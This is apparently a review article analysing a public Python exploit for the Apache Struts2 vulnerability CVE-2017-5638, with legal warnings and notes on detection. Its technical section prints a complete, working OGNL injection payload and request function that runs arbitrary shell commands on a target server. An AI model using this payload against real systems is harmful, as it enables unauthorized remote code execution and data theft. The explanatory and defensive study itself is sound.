Back to Articles

Inside CVE-2017-5638: Dissecting a Python Exploit for Apache Struts2's Most Devastating Vulnerability

[ View on GitHub ]

Inside CVE-2017-5638: Dissecting a Python Exploit for Apache Struts2's Most Devastating Vulnerability

Hook

A single malformed HTTP header brought down Equifax's security, exposing 147 million records. The exploit code that made it possible fits in fewer than 100 lines of Python.

Context

In March 2017, the Apache Struts project disclosed CVE-2017-5638, a critical Remote Code Execution vulnerability in the Jakarta Multipart parser used by Struts 2.3.5 through 2.3.31 and 2.5 through 2.5.10. Within days, proof-of-concept exploits circulated widely. Within months, Equifax—one of America's largest credit reporting agencies—announced a breach that would become a watershed moment in cybersecurity history.

The sUbc0ol exploit repository represents the democratization of sophisticated attack techniques. What once required deep knowledge of Java internals, OGNL (Object-Graph Navigation Language) semantics, and HTTP protocol manipulation became accessible through a simple Python script. This tool exists in the gray space between offensive security research and weaponization—it's simultaneously a learning resource for defenders trying to understand attack vectors and a ready-made weapon for malicious actors. Understanding how it works isn't just academic; it's essential for anyone responsible for securing web applications, especially those maintaining legacy systems that can't be immediately patched.

Technical Insight

Target Environment

Exploitation Flow

Crafts OGNL Payload

HTTP POST Request

Error Handling Triggers

Bypasses Security Context

Executes System Command

Command Output

Attacker Script

Malicious Content-Type Header

Struts2 Jakarta Multipart Parser

OGNL Expression Evaluator

Member Access Override

Target Server OS

Response to Attacker

System architecture — auto-generated

The genius of CVE-2017-5638 lies in its attack surface: the Content-Type header. Traditional security thinking treats headers as metadata, not user input requiring strict validation. The Jakarta Multipart parser in vulnerable Struts2 versions processed Content-Type headers containing OGNL expressions during error handling for malformed multipart requests. When an error occurred, the parser would evaluate the Content-Type string—and if that string contained OGNL code, Struts2 would execute it.

The exploit flow follows a deceptively simple pattern. The attacker crafts an HTTP request with a malicious Content-Type header embedding OGNL payload wrapped in special syntax. Here's what a typical exploitation request looks like in Python:

import requests
import sys

def exploit_struts(target_url, command):
    # OGNL payload that executes system commands
    payload = "%%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):" 
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')."
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}" % command
    
    headers = {
        'Content-Type': payload,
        'User-Agent': 'Mozilla/5.0'
    }
    
    try:
        response = requests.post(target_url, headers=headers, timeout=10)
        return response.text
    except Exception as e:
        return f"Exploit failed: {str(e)}"

The OGNL payload operates in stages. First, it obtains DEFAULT_MEMBER_ACCESS to bypass Struts2's security restrictions (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). Then it clears the excluded packages and classes lists that normally prevent dangerous operations (#ognlUtil.getExcludedPackageNames().clear()). With security constraints removed, it constructs a ProcessBuilder to execute arbitrary system commands, intelligently detecting Windows versus Unix-like systems. Finally, it captures command output and streams it back through the HTTP response.

What makes this particularly dangerous is the asymmetry: the attacker needs only HTTP access to any Struts2 endpoint, while the defender must identify and patch every Struts2 instance across their infrastructure. The exploit doesn't require authentication, doesn't depend on application-specific logic, and works against any vulnerable Struts2 deployment regardless of how the application is configured.

The Python implementation uses the requests library for HTTP communication, keeping dependencies minimal. The exploit script typically includes command-line argument parsing, allowing operators to specify target URLs and commands interactively. Some variants include batch operation modes or output formatting, but the core exploitation logic remains remarkably consistent across implementations—a testament to how straightforward the vulnerability is to exploit once understood.

Gotcha

This tool exists in a legal and ethical minefield. Unauthorized use against systems you don't own or have explicit written permission to test violates computer fraud laws in virtually every jurisdiction—the Computer Fraud and Abuse Act in the US, the Computer Misuse Act in the UK, and equivalent legislation globally. Even well-intentioned security research can cross legal lines if proper authorization isn't obtained. The repository provides no guardrails, no warnings, no safety mechanisms. It's a loaded gun with the safety permanently off.

From a technical perspective, the exploit's effectiveness has diminished significantly since 2017. Modern Web Application Firewalls recognize the OGNL injection signature patterns and block requests with suspicious Content-Type headers. Intrusion Detection Systems flag the characteristic header structure. Organizations that haven't patched vulnerable Struts2 instances by now likely have other security controls in place or have migrated away from Struts2 entirely. The exploit also generates obvious log entries—abnormally long Content-Type headers are forensic red flags. Additionally, the tool lacks sophistication in payload obfuscation, encoding variations, or evasion techniques that more advanced exploitation frameworks provide. It's a blunt instrument in an environment that increasingly demands finesse.

Verdict

Use if: You're a penetration tester with written authorization to assess a client's legacy Struts2 infrastructure, a security researcher building lab environments to understand OGNL injection mechanics, or a defender who needs to validate whether detection rules properly flag CVE-2017-5638 exploitation attempts. This tool provides clear, readable code that makes the vulnerability's mechanics transparent—invaluable for training and education. Skip if: You're looking for a production-grade offensive tool (use Metasploit instead), you lack proper legal authorization for testing, or you're assessing modern applications (the vulnerability has been patched for seven years—if you find it in production systems, the organization has much larger security governance problems). For everyone else: treat this repository as historical documentation of one of the most impactful vulnerabilities in modern web application history, and let it serve as a reminder that framework security flaws can have cascading consequences across entire industries.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/subc0ol-apache-struts2-rce-exploit-v2-cve-2017-5638.svg)](https://starlog.is/api/badge-click/cybersecurity/subc0ol-apache-struts2-rce-exploit-v2-cve-2017-5638)